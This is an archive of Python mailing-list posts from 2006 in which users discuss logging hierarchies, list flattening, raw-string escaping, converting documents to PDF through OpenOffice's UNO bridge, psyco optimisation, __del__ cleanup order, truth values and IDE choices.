Message-ID: <1161352732.357349.311380@h48g2000cwc.googlegroups.com>

> I delved in the code and found that when my logger "a.b.c" is created,
> it doesn't create Loggers for "a.b" or "a" but rather instances of a
> PlaceHolder class. If I actually call logging.getLogger("a.b") and
> logging.getLogger("a")  then the PlaceHolders get converted to Loggers
> and the hierarchy suddenly works.
>
> My feeling is that either the PlaceHolder objects should be modified to
> make them work properly in the hierarchy, or probably more simply, they
> should just be replaced by Loggers immediately when the hierarchy is
> first created. In that case, I believe that my expected behaviour would
> "just work". Now I am beginning to wonder if I have missed something,
> ie is there some reason why this is not a good idea and hasn't been
> done? Otherwise, what do people generally think? Is it as simple as I
> haven't set something up right, or do I have to declare the
> intermediate loggers, or does having multiple layers just suck!!!

There is nothing wrong with the way you are naming your loggers - and
there is nothing wrong with the way PlaceHolders work, either. They do
just "work", AFAIK. If there were something wrong with your config
file, no handler might get configured on the root logger, which would
lead to the observed behaviour when you log to "a.b.c".

With the simple script

import logging

logging.basicConfig(level=logging.DEBUG,
    format="%(name)s: %(levelname)-5s: %(message)s")
logging.getLogger("a.b.c").debug("Hello, world!")

I get the output

a.b.c: DEBUG: Hello, world!

which is as expected.

Regards,

Vinay Sajip



From rrr at ronadam.com  Tue Oct 17 12:56:48 2006
From: rrr at ronadam.com (Ron Adam)
Date: Tue, 17 Oct 2006 11:56:48 -0500
Subject: Need a strange sort method...
In-Reply-To: <FN7Zg.6655$fl.54@dukeread08>
References: <1161022388.133766.221150@m7g2000cwm.googlegroups.com>
	<mailman.589.1161025470.11739.python-list@python.org>
	<gYQYg.6629$5i7.1593@newsreading01.news.tds.net>
	<FN7Zg.6655$fl.54@dukeread08>
Message-ID: <I_7Zg.6658$fl.6615@dukeread08>

Ron Adam wrote:
> Neil Cerutti wrote:
>> On 2006-10-16, Tim Chase <python.list at tim.thechases.com> wrote:
>>> If you need it in a flat list, rather than as a list of
>>> chunk_size lists (which are handy for iterating over in many
>>> cases), there are ways of obtaining it, such as the hackish
>>>
>>>>>> sum([a[i::chunk_size] for i in range(chunk_size)], [])
>>> [1, 4, 7, 10, 2, 5, 8, 3, 6, 9]
>>>
>>> There are likely good recipes for flattening a list.  I just
>>> happen not to have any at my fingertips.
>>
>> Actually, there isn't a good recipe in Python for flattening a
>> list. They all come out tasting like Circus Peanuts (Turkish
>> Delight for you non-Yanks).
>>
> 
> 
> Here's two that I came up with.  They are both very fast compared to 
> anything else I've seen.  Maybe they won't taste so much like Peanuts.   
> :-)
> 
> 
> def flatten(L):
>     """ Flatten a list in place.
>     """
>     i = 0
>     while i < len(L):
>         while type(L[i]) is list:
>             L[i:i+1] = L[i]
>         i += 1
>     return L
> 
> def sflatten(sequence):
>     """ Return a flattened sequence as a list.
>     """
>     def iterinner(seq):
>         for s in seq:
>             if hasattr(s, '__iter__'):
>                 for i in iterinner(s):
>                     yield i
>             else:
>                 yield s
>     return list(iterinner(sequence))

Woops,  cut the wrong one...  Replace sflatten above with the following.


def flattened(seq):
     """ Return a flattened sequence as a list.
     """
     def visit(a, x):
         for i in x:
             if not hasattr(i, '__iter__'):
                 a.append(i)
             else:
                 visit(a, i)
     a = []
     visit(a, seq)
     return a


> 
> Cheers,
>    Ron Adam


From ewijaya at i2r.a-star.edu.sg  Wed Oct 18 03:21:49 2006
From: ewijaya at i2r.a-star.edu.sg (Wijaya Edward)
Date: Wed, 18 Oct 2006 15:21:49 +0800
Subject: Where to find pydoc?
References: <mailman.557.1160985922.11739.python-list@python.org>
	<pan.2006.10.16.09.00.55.1863@gmx.net> <egvi62$smc$1@sea.gmane.org>
Message-ID: <3ACF03E372996C4EACD542EA8A05E66A0615B9@mailbe01.teak.local.net>


Hi,
Can you be specific on which URLs can I find "python-tools".
Cause I tried the one under easy_install, I still can't find it.
 
Thanks and hope to hear from you again.
 
-- Edward WIJAYA
SINGAPORE

________________________________

From: python-list-bounces+ewijaya=i2r.a-star.edu.sg at python.org on behalf of Fredrik Lundh
Sent: Mon 10/16/2006 5:08 PM
To: python-list at python.org
Subject: Re: Where to find pydoc?




look for "python-tools" or a similar package in your favourite package
repository.

</F>

--
http://mail.python.org/mailman/listinfo/python-list



------------ Institute For Infocomm Research - Disclaimer -------------
This email is confidential and may be privileged.  If you are not the intended recipient, please delete it and notify us immediately. Please do not copy or use it for any purpose, or disclose its contents to any other person. Thank you.
--------------------------------------------------------


From sjmachin at lexicon.net  Wed Oct  4 22:38:12 2006
From: sjmachin at lexicon.net (John Machin)
Date: 4 Oct 2006 19:38:12 -0700
Subject: can't open chm files all of a sudden
In-Reply-To: <45246d73$0$30759$c3e8da3@news.astraweb.com>
References: <45233927$0$1761$c3e8da3@news.astraweb.com>
	<45233a81$0$30748$c3e8da3@news.astraweb.com>
	<1159951350.208619.222470@m73g2000cwd.googlegroups.com>
	<45246d73$0$30759$c3e8da3@news.astraweb.com>
Message-ID: <1160015892.533777.301530@e3g2000cwe.googlegroups.com>


John Salerno wrote:
> John Machin wrote:
>
> > 6. Fire up a Comamnd Prompt window, and type this in:
> >
> > \windows\hh \python25\doc\python25.chm
> > \windows\hh \windows\help\whatever.chm
>
> I tried this and got the same error. This is really upsetting.

So that indicates that the problem is constant across
(a) how you invoke hh.exe
(b) your python chm and the windows-supplied chms.

Now get back to the more likely suspect: one or more wrong-version DLLs
dumped on you by that HTMLKit, or the absence of a needed DLL that was
thrown away when you uninstalled it -- was there a dialogue where you
were asked if you wanted to remove apparently unused DLLs?

And you *still* haven't answered the basic question:

**********************************************************
*** What is the error message that you get ??? ***
**********************************************************



From mahs at telcopartners.com  Mon Oct 23 14:46:43 2006
From: mahs at telcopartners.com (Michael Spencer)
Date: Mon, 23 Oct 2006 11:46:43 -0700
Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax
	Trees
In-Reply-To: <ehffhc$r05$1@news.albasani.net>
References: <mailman.813.1161325547.11739.python-list@python.org>
	<ehffhc$r05$1@news.albasani.net>
Message-ID: <ehj2mk$sct$1@sea.gmane.org>

Georg Brandl wrote:
> Michael Spencer wrote:
>> Announcing: compiler2
>> ---------------------
>>
>> For all you bytecode enthusiasts:  'compiler2' is an alternative to the standard 
>> library 'compiler' package, with several advantages.
> 
> Is this a rewrite from scratch, or an improved stdlib compiler package?
> 
> In the latter case, maybe you can contribute some patches to the core.
> 
> Georg

Georg

It started as the latter (i.e., the stdlib compiler package improved) and 
proceeded via incremental change with the twin goals of generating correct 
object code and creating a clean compiler architecture (the latter somewhat 
subjective of course).  I'd be happy in principle to contribute the work, but 
the sum of the changes amounts to a substantial re-write, so I don't think it 
can be meaningfully submitted as a patch.

Regards

Michael




From jung at ucsd.edu  Sun Oct 22 19:57:39 2006
From: jung at ucsd.edu (Julio Ng)
Date: Sun, 22 Oct 2006 16:57:39 -0700
Subject: Scrolling On IDLE
Message-ID: <2CDF962D-E1CC-42E2-906B-46A4CA59F317@ucsd.edu>

Hello,

I am using the IDLE (v1.2) for Mac OS X, and realized that scrolling  
with the mouse doesn't work. Do I need to configure anything to  
enable that feature?

Thanks,

Julio



From mj23 at toro.azwestern.edu  Wed Oct 11 02:57:02 2006
From: mj23 at toro.azwestern.edu (melv@awc.edu)
Date: Tue, 10 Oct 2006 23:57:02 -0700
Subject: Converting MSWord Docs to PDF
Message-ID: <4524431F@webmail.azwestern.edu>

>Sybren Stuvel wrote:
> melv at awc.edu enlightened us with:
>
>is it possible to convert MSword docs into PDF format?
>
>
> Yes, it is. check out http://www.stuvel.eu/ooo-python#header3. It's
> about converting Excel to PDF, but it equally applies to MSWord.

thank you very much this will greatly help me out.

Steve Holden:

>However, this assumed perfect import of the .doc file into Open Office,
>which can't be guaranteed (though it gets better every release). So you
>may want to do some experimentation to find out how well the import
>proceeds.
>

im almost certain that Open Office will atleast give me acceptable


>>> i told my future employer that i could...

>
>And the next time you are bragging in that way, couch your boasts in
>conditional terms to avoid losing face should you happen to be wrong. A
>lot will depend on the complexity of the Word documents.
>

yeah, i know i was wrong in assuring him it was possible, but i was sure
python could do anything! :P just kidding, thanks i know what you mean and
i appreciate your advice.

Andrew McLean:

>An alternative to Adobe Distiller (part of Acrobat) is PDFCreator


yeah, i am actually just barely testing it out and so far it has
given me very good results, thanks for the tip.


Melvin




From johnjsal at NOSPAMgmail.com  Wed Oct 25 16:03:10 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Wed, 25 Oct 2006 20:03:10 GMT
Subject: cleaner way to write this?
In-Reply-To: <7x8xj4i5gq.fsf@ruckus.brouhaha.com>
References: <USN%g.148$1n3.4086@news.tufts.edu>
	<j5O%g.150$1n3.4013@news.tufts.edu>
	<7xwt6o44um.fsf@ruckus.brouhaha.com>
	<%dO%g.151$1n3.4135@news.tufts.edu>
	<7x8xj4i5gq.fsf@ruckus.brouhaha.com>
Message-ID: <2qP%g.161$1n3.4136@news.tufts.edu>

Paul Rubin wrote:

>      def create_db_name(self):
>          try:
>             while True:
>                dlg = wx.TextEntryDialog(self.frame, 'Enter a database name:',
>                                        'Create New Database')
>                if dlg.ShowModal() != wx.ID_OK:
>                    return None
>                db_name = dlg.GetValue()
>                if db_name:
>                    return db_name
>                pop_up_error_dialog("please enter a value or press cancel")
>          finally:
>             dlg.Destroy()

Interesting idea to use try/finally to ensure that dlg.Destroy() runs 
even with a return earlier in the method. Would this be considered 
appropriate use though, or would it be misusing try/finally? I thought 
the point of a try block was for when you anticipated exceptions, but 
given that try/except and try/finally used to be separate blocks, 
perhaps this was the original intent of a try/finally block? (i.e. 
nothing to do with exceptions?)


From Matthew.Warren at Digica.com  Tue Oct  3 06:52:42 2006
From: Matthew.Warren at Digica.com (Matthew Warren)
Date: Tue, 3 Oct 2006 11:52:42 +0100
Subject: Raw strings and escaping
In-Reply-To: <451D7E0D.9080803@ieee.org>
Message-ID: <D4F9316ACC9D20489CC81D19B8A87D5B039FE581@UKEX01.Digica.local>

Hi,

I would expect this to work,

rawstring=r'some things\new things\some other things\'

But it fails as the last backslash escapes the single quote.

..although writing this I think I have solved my own problem. Is \' the
only thing escaped in a raw string so you can place ' in a raw string?
Although I thought the correct thing in that case would be;

rawstring=r"rawstring'with single-quote"


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From s-mar at nospam.nospam  Sat Oct 21 14:36:05 2006
From: s-mar at nospam.nospam (Scott M.)
Date: Sat, 21 Oct 2006 14:36:05 -0400
Subject: A Comparison Of Dynamic and Static Languiges
References: <1161455284.563900.320430@m7g2000cwm.googlegroups.com>
Message-ID: <eY$5v#T9GHA.2288@TK2MSFTNGP05.phx.gbl>

Perhaps you should do your own work so you'll understand the concept and 
learn something?

Also, widely posting your real (unaltered) email address in forums like this 
is a sure way to get noticed by spammers.

Good luck.

<atbusbook at aol.com> wrote in message 
news:1161455284.563900.320430 at m7g2000cwm.googlegroups.com...
> I'm doing a report on the speed of develipment and executionin varius
> programing langiuiges. write code for all these tasks in the languige
> of your choise if intrestied send code to atbusbook at aol.com.
>
> Task 1:
>  write a program that prints how many times you repeat all words in a
> file passed as a comand line
>  paramiter and from STDIN. with the output format being "\"%s\" word
> repeated %i times\n"
> Task 2:
>  write a comand line rpn calculator that has a syntax like forth with
> only floats; also it must have these and
>  only these operations +, -, *, /, ., .s, rot, dup, swap, pick, roll.
> . and .s are pop print and .s print stack in this
>  with a new line after each item and the top of the stack at the
> bottom.
>
> compiler info
>
> c#: mono 1.1.13.7
> perl: perl 5.8.8
> python: python 2.4.2
> ruby: ruby 1.8.4
> 




From ocollioud at gmail.com  Mon Oct  2 09:08:03 2006
From: ocollioud at gmail.com (olive)
Date: 2 Oct 2006 06:08:03 -0700
Subject: Python/UNO/OpenOffice?
In-Reply-To: <1159792556.813570.10480@k70g2000cwa.googlegroups.com>
References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com>
	<mailman.1085.1159790247.10491.python-list@python.org>
	<1159792556.813570.10480@k70g2000cwa.googlegroups.com>
Message-ID: <1159794483.092877.196110@m7g2000cwm.googlegroups.com>

John,

Here is something that works for me under XPsp2 to either save a doc or
save it as PDF:

    filepath = argv[0]
    exportpdf  = argv[1]

    ctxLocal = uno.getComponentContext()
    smgrLocal = ctxLocal.ServiceManager
    resolver =
smgrLocal.createInstanceWithContext("com.sun.star.bridge.UnoUrlResolver",ctxLocal)
    url =
"uno:socket,host=localhost,port=2002;urp;StarOffice.ComponentContext"
    ctx = resolver.resolve(url)
    smgr = ctx.ServiceManager
    desktop =
smgr.createInstanceWithContext("com.sun.star.frame.Desktop",ctx)

    properties = []
    if exportpdf == "yes":
        p = PropertyValue()
        p.Name = "Hidden"
        p.Value = True
        properties.append(p)
    properties = tuple(properties)
    doc = desktop.loadComponentFromURL("file:///c:"+filepath+".odt" ,
"_blank", 0, properties)

    if exportpdf == "yes":
        properties = []

        p = PropertyValue()
        p.Name = "Overwrite"
        p.Value = True
        properties.append(p)

        p = PropertyValue()
        p.Name = "FilterName"
        p.Value = 'writer_pdf_Export'
        properties.append(p)

        properties = tuple(properties)
        doc.storeToURL("file:///c:"+filepath+".pdf", properties)

    else:
        doc.store()

    doc.dispose()

You must start OO this way first:
cd C:\Program Files\OpenOffice.org 2.0\program
soffice "-accept=socket,host=localhost,port=2002;urp;"



From rdiaz02 at gmail.com  Fri Oct 27 17:09:21 2006
From: rdiaz02 at gmail.com (Ramon Diaz-Uriarte)
Date: Fri, 27 Oct 2006 23:09:21 +0200
Subject: What's the best IDE?
In-Reply-To: <1161976496.903281.302940@i42g2000cwa.googlegroups.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<1161976496.903281.302940@i42g2000cwa.googlegroups.com>
Message-ID: <624934630610271409h7a2dc2a0o8c12f7d1b11a21ad@mail.gmail.com>

On 27 Oct 2006 12:14:57 -0700, Adam Jones <ajones1 at gmail.com> wrote:
>
> emacs
>

(...)

> > It would be fine for a begginer, right?
>
> Probably not. I think you have to spend enough time with environments


Actually, I've read similar things before and I don't quite get it. I
guess all of us are Emacs begginers the first time we try emacs.
Actually, I started using Emacs about 1 month after installing Linux;
what hooked me was the possibility of editing code AND submit it to an
inferior process, just like that (this I experienced first with R, but
of course you can do the same with Python) and using the same
environment for all of my editing and programming tasks.

R.





-- 
Ramon Diaz-Uriarte
Statistical Computing Team
Structural Biology and Biocomputing Programme
Spanish National Cancer Centre (CNIO)
http://ligarto.org/rdiaz


From hanumizzle at gmail.com  Sun Oct  8 09:20:29 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Sun, 8 Oct 2006 09:20:29 -0400
Subject: Bizzare lst length problem
In-Reply-To: <1160313168.683964.242350@c28g2000cwb.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
	<1160312065.656400.275770@k70g2000cwa.googlegroups.com>
	<1160313168.683964.242350@c28g2000cwb.googlegroups.com>
Message-ID: <463ff4860610080620q5dd6748dr983b2d8cfe8f3122@mail.gmail.com>

On 8 Oct 2006 06:12:48 -0700, John Machin <sjmachin at lexicon.net> wrote:

>
> Show us the code that is creating instances of the panel class ...
>
> panel1 =
> panel(number=?,level=?,location=?,mops=????????????????,matrix=?)
> What are you passing as the 4th positional arg
> ^^^^^^^^^^^^^^^^^^^^^^^ ???

This is wholly unnecessary.

-- Theerasak


From Eric_Dexter at msn.com  Sun Oct 22 00:06:22 2006
From: Eric_Dexter at msn.com (Eric_Dexter at msn.com)
Date: 21 Oct 2006 21:06:22 -0700
Subject: What About Next Laptop Computers?
In-Reply-To: <mailman.910.1161457443.11739.python-list@python.org>
References: <1161456707.355956.152850@i42g2000cwa.googlegroups.com>
	<mailman.910.1161457443.11739.python-list@python.org>
Message-ID: <1161489982.865395.251310@e3g2000cwe.googlegroups.com>

I might be intrested The company is on the pink sheets lill or somesuch
thing and the guy is posting everywhere plus he talks about fidel
castro in spanish...


John Purser wrote:
> On Sat, 2006-10-21 at 11:51 -0700, Joe wrote:
> > L International Reveals Plans for High-Tech
> > Next-Generation Laptop Computer Systems
> >
> > L International Computers Inc. "L" renowned manufacturer of
> > high-performance computers and personal/business technologies, revealed
> > plans for its next generation high-end laptop and ultra-portable
> > computer systems.
> >
> > To read this articles, go to:
> > http://www.contactomagazine.com/laptopcomputers1006.htm
> >
> > More Business and Computer News:
> > http://www.contactomagazine.com/business.htm
> >
>
> Golly Joe, why would any member of a mailing list be interested in
> products advertised by spamming their mailing list?



From noway at sorry.com  Fri Oct  6 04:36:08 2006
From: noway at sorry.com (Giovanni Bajo)
Date: Fri, 06 Oct 2006 08:36:08 GMT
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com>
	<eftfoe$l8n$1@sea.gmane.org><mailman.1155.1159876666.10491.python-list@python.org><mailman.1163.1159879479.10491.python-list@python.org><fxJUg.134222$zy5.1829414@twister1.libero.it><ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net><eg0bo2$obu$1@nnrp.ngi.it>
	<45240FD5.3050705@v.loewis.de><4n4Vg.135913$_J1.898276@twister2.libero.it><f4rfv3-vhg.ln1@nb2.stroeder.com>
	<45254B18.2090806@v.loewis.de>
	<mailman.1379.1160075929.10491.python-list@python.org>
Message-ID: <YzoVg.137036$zy5.1843214@twister1.libero.it>

skip at pobox.com wrote:

>     Martin> The regular admin tasks likely include stuff like this:
>     Martin> - the system is unavailable, bring it back to work
>     Martin>   This is really the worst case, and a short response time
>     Martin>   is the major factor in how users perceive the service
>     Martin> - the system is responding very slowly
>
> To all those people who have been moaning about needing 6-10 people to
> administer the system, in my opinion these are the most important
> reasons to have more than one person available to help.  Python isn't
> only used in the USofA.  It has been very helpful to have
> administrators scattered around the globe who were awake and alert to
> handle problems with python.org when folks in the US were asleep.  Of
> course, spreading the load among several people helps with the other
> tasks as well.
>
> As Martin pointed out in an earlier post, with only one person
> actively administering Subversion (Martin), new requests for access
> had to wait if he was away for an extended period of time.

This is true of many open source projects. I don't dispute that having 6-10
people to administer Roundup would not be good. I dispute that it is the
minimum requirement to make a Roundup installation acceptable for Python
development.

Are bug-tracker configuration issues so critical that having to wait 48-72hrs
to have them fixed is absolutely unacceptable for Python development? It looks
like an overexaggeration. People easily cope with 2-3 days of SVN freezing,
when they are politically (rather than technically) stopped from committing to
SVN. I guess they can wait 48 hrs to be able to close that bug, or open that
other one, or run that query.
-- 
Giovanni Bajo




From skip at pobox.com  Fri Oct  6 16:38:54 2006
From: skip at pobox.com (skip at pobox.com)
Date: Fri, 6 Oct 2006 15:38:54 -0500
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <eg6bku$59b$1@online.de>
References: <eg6bku$59b$1@online.de>
Message-ID: <17702.48862.95294.6887@montanaro.dyndns.org>


    Skip> I took the original version, tweaked it slightly (probably did
    Skip> about the same things as Python #2, I didn't look).  For N ==
    Skip> 200,000 the time went from 21.94s (user+sys) to 17.22s.  Using
    Skip> psyco and binding just the advance function on my improved version
    Skip> improved that further to 6.48s.  I didn't have the patience to run
    Skip> larger values of N.  Diff appended.

Ah, wait a moment.  One more tweak.  Make the body class a psyco class.
That improves the runtime to 3.02s.  Diff appended.

Skip

% diff -u nbody.py.~1~ nbody.py
--- nbody.py.~1~        2006-10-06 15:13:31.636675000 -0500
+++ nbody.py    2006-10-06 15:35:36.619976000 -0500
@@ -5,28 +5,31 @@
 # contributed by Kevin Carson

 import sys
+import psyco
+import psyco.classes

 pi = 3.14159265358979323
 solar_mass = 4 * pi * pi
 days_per_year = 365.24

-class body :
+class body(psyco.classes.psyobj):
     pass

 def advance(bodies, dt) :
-    for i in xrange(len(bodies)) :
+    nbodies = len(bodies)
+    for i in xrange(nbodies) :
         b = bodies[i]

-        for j in xrange(i + 1, len(bodies)) :
+        for j in xrange(i + 1, nbodies) :
             b2 = bodies[j]

             dx = b.x - b2.x
             dy = b.y - b2.y
             dz = b.z - b2.z
-            distance = (dx**2 + dy**2 + dz**2)**0.5
-
-            b_mass_x_mag = dt * b.mass / distance**3
-            b2_mass_x_mag = dt * b2.mass / distance**3
+            dsqr = (dx*dx + dy*dy + dz*dz)
+            dtd3 = dt / dsqr ** 1.5
+            b_mass_x_mag = dtd3 * b.mass
+            b2_mass_x_mag = dtd3 * b2.mass

             b.vx -= dx * b2_mass_x_mag
             b.vy -= dy * b2_mass_x_mag
@@ -39,6 +42,7 @@
         b.x += dt * b.vx
         b.y += dt * b.vy
         b.z += dt * b.vz
+psyco.bind(advance)

 def energy(bodies) :
     e = 0.0


From duncan.booth at invalid.invalid  Thu Oct 12 05:52:01 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 12 Oct 2006 09:52:01 GMT
Subject: python's newbie question
References: <1160644525.605518.55840@e3g2000cwe.googlegroups.com>
Message-ID: <Xns985A6E81D4F4Aduncanbooth@127.0.0.1>

tpochep at mail.ru wrote:

> I tried different names instead of b1, sometimes programm works,
> sometimes I have an exception. So it's clear, that I've done some
> stupid mistake, but it's not clear for me, python's newbie, where :)

Not a stupid mistake, although as you come to use Python more you will 
learn that you need __del__ methods very rarely if at all. This is just as 
well as writing reliable __del__ methods can be non-trivial.

The problem you have is that your __del__ method is being called as Python 
tidies up before exiting. It does this by going systematically through all 
the modules and deleting all of their global variables. If you are using 
__del__ you have to be aware that by the time it gets called not all global 
variables still exist.

The order in which the globals are deleted isn't defined, in this case it 
looks like Base1 has been deleted before Derived, but that won't always be 
the case.

One option is to use new-style classes and use super() to pass the call up 
to the base classes (super is a builtin, and builtins should still be 
around when your code is being cleaned up). Another option would be to 
access the base classes through Derived.__bases__.

Probably the best solution is to remove any objects which required cleanup 
from your class hierarchy. e..g if Derived has a __del__ method because it 
needs to close a database, have a separate object representing the database 
which does its own cleanup. Then Derived doesn't need to call 
self.database.close() because that will happen automatically when 
self.database is destroyed, so Derived won't need a __del__.

Here's your code pushing the __del__ method out of the class hierarchy. But 
watch out: if you pass self as an argument to printer then nothing gets 
destroyed at all as the program exits, and of course the order in which the 
__del__ prints appear is now undefined.

class printer(object):
    def __init__(self, *args):
        self.msg = args
    def __del__(self):
        print ' '.join(self.msg)

class Base1:
    def __init__(self):
        print "Base1.__init__", self
        self.__del = printer("Base1.__del__")

class Base2:
    def __init__(self):
        print "Base2.__init__", self
        self.__del = printer("Base2.__del__")

class Derived(Base1, Base2):
    def __init__(self):
        print "Derived.__init__:"
        Base1.__init__(self)
        Base2.__init__(self)
        self.__del = printer("Derived.__del__:")

print "begin..."
d = Derived()
b = d
print "end..."


From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Mon Oct  9 12:40:30 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Mon, 09 Oct 2006 18:40:30 +0200
Subject: Dive Into Java?
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<4ov2eeFgh8t6U1@individual.net> <4ov4ekFg823lU1@uni-berlin.de>
Message-ID: <4ovcbvFgc2nlU1@individual.net>

Diez B. Roggisch wrote:

> What do you mean by "from dumbness"?

It didn't originate from the "dumbness" area of my brain (== it
wasn't my honest opinion). It was meant satirical.

> And in context of somebody seeking enlightment regarding java,
> it's especially unhelpful and confusing I think. Which was the
> reason for my post.

I understand.

> So what? Either you talk about Java here, then name it and prove
> these points, or not, then where is the relevance of that
> statement to this discussion?

Again, it wasn't meant as honest and true argument. I'd better try
not to try be funny.
 
> For example: the overloading of assignment operators, casting
> operators, copy constructors and the like that, and the fact that
> one of them is possibly chosen in absence of the other.

Isn't the overloading concept an effect of type strength? In Java,
you'd have to overload them too. Or am I missing something?
 
> The subtle differences between pointers and references.

That's an issue, though you don't have to use them both. Kind
of "historically grown".
 
> Ahh, not to forget the joys of slicing through non-virtual
> copy-constructors. And while we are talking about it: virtual - a
> keyword with a great deal of meanings....

ACK.
 
> Missing definition of static initializer order, at least for some
> binary formats.

Didn't come across this one though.
 
> I could continue for some while...

Okay, I got it :)

>> because it wanted to be new and good but took over much of C++'s
>> syntax and made it even weirder,
 
> Even weirder? Care to explain?

Example:

int spam = 5;

but

String eggs = new String();

The latter seems totally unnecessary to me, as well as being too
verbose -- why couldn't they go the simple way as in Python and
just state

String eggs;

-- is it because in C++ it'd mean something different?

> While they _did_ choose some 
> unneccessary syntactic crud to stay in, even though it isn't
> needed (e.g. the superfluous new-keyword), I don't see a lot of
> things like ::, ->, virtual, =0 and so on.

ACK.

> Not to mention struct and friend of course.

Mh, struct seems to be an ancestor from C and being kept for
compatibility reasons (like many other stuff in C++
though). "friend"? Mh, nice to have, I once needed it. But anyway,
I like the Python way (don't forbid anything) better.

> Yes, they tried to make it appealing to the eye of a
> C++-programmer. But that pretty much is it.
 
That's a wrong decision, IMHO. A new and practical language (what
Java wanted to be) shouldn't provide 3/4-compatible syntax, but be
clear, concise and customizable, and shouldn't say "That's bad, you
mustn't do that."

> You are confusing things here. That you can't implement your own
> string derived class has to do with java.lang.String being final -
> something I grief about, too.

That's not exactly my point. What if I just wanted to build my own
interface compatible class ... impossible.

For a start, it just doesn't look pretty ...

String ham;

ham = "1" + "2";

... is translated to ...

ham = new StringBuffer().append("1").append("2").toString()

> But nothing with operator overloading of + for _all_ objects that
> support toString().... 
> 
> Yes, Java lacks operator overloading, and that is a pity
> sometimes. 

And that was a clear design decision that is defended as "groovy"
until today.

Another funny thing are those awkward wrapper classes, but that's
been "patched" in an awkward way with 1.5 IIRC.

> But getting productive with it is certainly in between python and
> C++, and not below. 

May in parts depend on the scenario, but ACK.

Regards,


Bj?rn

-- 
BOFH excuse #442:

Trojan horse ran out of hay



From kenneth.m.mcdonald at sbcglobal.net  Wed Oct 25 15:36:46 2006
From: kenneth.m.mcdonald at sbcglobal.net (Kenneth McDonald)
Date: Wed, 25 Oct 2006 14:36:46 -0500
Subject: How to identify generator/iterator objects?
Message-ID: <453FBCCE.8090306@sbcglobal.net>

I'm trying to write a 'flatten' generator which, when give a 
generator/iterator that can yield iterators, generators, and other data 
types, will 'flatten' everything so that it in turns yields stuff by 
simply yielding the instances of other types, and recursively yields the 
stuff yielded by the gen/iter objects.

To do this, I need to determine (as fair as I can see), what are 
generator and iterator objects. Unfortunately:

 >>> iter("abc")
<iterator object at 0x61d90>
 >>> def f(x):         
...     for s in x: yield s
...
 >>> f
<function f at 0x58230>
 >>> f.__class__
<type 'function'>

So while I can identify iterators, I can't identify generators by class.

Is there a way to do this? Or perhaps another (better) way to achieve 
this flattening effect? itertools doesn't seem to have anything that 
will do it.

Thanks,
Ken


From wolfgang.keller.nospam at gmx.de  Sun Oct 15 13:07:56 2006
From: wolfgang.keller.nospam at gmx.de (Wolfgang Keller)
Date: Sun, 15 Oct 2006 19:07:56 +0200
Subject: Book about database application development?
References: <0001HW.C157FA8900644D9AF0407530@news.individual.de>
	<7xlknhg2rz.fsf@ruckus.brouhaha.com>
Message-ID: <0001HW.C158378C00729A42F0407530@news.individual.de>

Hello,

and thanks for your reply, but...

> Here's a start:
> 
> http://philip.greenspun.com/sql/

...small misunderstanding: I already know a bit of SQL, and I intend to avoid 
its use as far as possible (and use e.g. Modeling or SQLAlchemy).  

What I'm interested in is rather how to connect a GUI to a database, with 
quite a bit of application logic in between. And how to do it well.

Sincerely,

Wolfgang Keller

-- 
My email-address is correct.
Do NOT remove ".nospam" to reply.



From martin at v.loewis.de  Wed Oct 25 15:48:44 2006
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 25 Oct 2006 21:48:44 +0200
Subject: question about True values
In-Reply-To: <mailman.1193.1161803695.11739.python-list@python.org>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<mailman.1193.1161803695.11739.python-list@python.org>
Message-ID: <453FBF9C.6010002@v.loewis.de>

skip at pobox.com schrieb:
> the string class's "nil" value.  Each of the builtin types has such an
> "empty" or "nil" value:
> 
>     string              ""
>     list                []
>     tuple               ()
>     dict                {}
>     int                 0
>     float               0.0
>     complex             0j
>     set                 set()
> 
> Any other value besides the above will compare as "not false".

This list of values that are considered false is incomplete,
though. Four obvious omissions are

long       0L
unicode    u""
bool       False
NoneType   None

Not-so-obviously, arbitrary user-defined values can also be
treated as false: If they implement __nonzero__, they are
false if False is returned from __nonzero__; otherwise,
if they implement __len__, they are false if 0 is returned
from __len__. Under these rules, array.array objects can
also be false, as can UserList and UserDict objects.

Regards,
Martin


From pecora at anvil.nrl.navy.mil  Tue Oct 17 11:10:22 2006
From: pecora at anvil.nrl.navy.mil (Lou Pecora)
Date: Tue, 17 Oct 2006 11:10:22 -0400
Subject: How to invoke ipython in Mac OS X?
References: <pecora-201AF7.09544317102006@ra.nrl.navy.mil>
	<4pk8r8FjagluU1@uni-berlin.de>
Message-ID: <pecora-A0B85B.11102217102006@ra.nrl.navy.mil>

In article <4pk8r8FjagluU1 at uni-berlin.de>,
 "Diez B. Roggisch" <deets at nospam.web.de> wrote:

> Lou Pecora wrote:
> 
> > I installed the SciPy superpackage and have pylab, matplotlib, scipy,
> > and numpy apparently running well.  But I want to use matplotlib/pylab
> > interactively.  The instructions suggest doing this in IPython.  But
> > using ipython on the command line gives me an error.  The system doesn't
> > know the command.  Apparently there is no ipython executable in one of
> > the bin directories.  I thought the superpackage would add that
> > automatically, but I guess not.
> > 
> > Can anyone tell me how to get ipython running on my MacOSX 10.4 system?
> 
> This is just a guess - but did you check your
> 
> /Library/Frameworks/Python.framework/Versions/Current/bin


Just checked it. Nothing there for IPython.

> directory for the ipython-binary? Usually, that will be the prefix of
> anything compiled/installed to framework-builds. So either you add that to
> your path, or create links to e.g. /usr/local/bin

